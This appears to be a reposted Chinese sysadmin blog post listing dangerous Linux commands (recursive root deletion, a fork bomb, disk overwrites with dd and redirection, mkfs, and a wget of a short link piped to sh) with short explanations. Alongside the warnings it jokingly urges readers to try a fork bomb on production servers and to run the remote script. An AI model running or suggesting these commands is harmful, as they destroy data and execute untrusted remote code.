跟着表哥学运维之危险的Linux命令

admin 2022年10月30日19:36:34评论24 views字数 1050阅读3分30秒阅读模式

在Linux中有很多好玩的命令,有些命令能让你永生不忘!一起来看看吧。

rm -rf /*

rm -rf命令是删除文件夹及其内容最快的方式之一。现对这条命令进行解读。

rm 命令在Linux下通常用来删除文件。

rm -r 命令递归的删除文件夹

rm -f 命令能不经过询问直接删除rm -rf /* : 强制删除根目录下所有东东。(就是说删除完毕后,什么也没有了。。。)

表哥提示: 如果是普通文件,尽量当文件的当前目录删除。不要去切换到/(根目录)。同时平时的文件操作用普通管理员登录系统就可以,不要用root账号。

跟着表哥学运维之危险的Linux命令

: (){:|:&} ; :

这就是个fork炸弹的实例。具体操作是通过定义一个名为 :的函数,它会调用自己两次,一次在前台另一次运行在后台。它会反复的执行下去直到系统崩溃。:(){:|:&};: 要不在公司正式的服务器上实验下。

> /dev/sda

上列命令会将某个命令的输出写到块设备/dev/sda中。该操作会将在块设备中的所有数据块替换为命令写入的原始数据,从而导致整个块设备的数据丢失。

mv 文件夹 /dev/null

这个命令会移动某个文件夹/dev/null。在Linux中 /dev/nullnull 设备是一个特殊的文件,所有写入它的数据都会被清除,然后返回写操作成功。如下面命令

mv /home/user/* /dev/null

会将User目录所有内容移动到/dev/null,这意味着所有东西都放入到了null之中。

wget http://t.cn/RXefmSn -O- | sh

上列命令会从一个恶意脚本并执行。Wget命令会下载这个脚本,而sh会(无条件的)执行下载下来的脚本。有条件的小伙伴快去试试吧!

mkfs.ext3 /dev/sda

上列命令会格式化块设备sda 就好比是格式化了整块磁盘。以下是Linux中主要的几个文件,这里顺便加以说明:

  • /bin存放常用系统命令,lscprmchmod 等常用命令都在此目录;
  • /boot 系统启动目录,保存与系统启动相关的文件,如内核文件和启动引导程序;
  • /dev 设备文件保存位置;
  • /lib 存放程序所需的动态库和静态库文件;

> file

上列命令常用来清空文件内容。将空内容写入到当前的文件。因为已经写入了,是没有办法撤回的。

dd if=/dev/random of=/dev/sda

上列命令会向块设备sda写入随机的垃圾文件从而擦出数据。当然!因为写入了新的数据,想要恢复就困难了。

更多精彩文章  欢迎关注我们


原文始发于微信公众号(kali黑客笔记):跟着表哥学运维之危险的Linux命令

  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2022年10月30日19:36:34
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   跟着表哥学运维之危险的Linux命令http://cn-sec.com/archives/1380865.html

发表评论

匿名网友 填写信息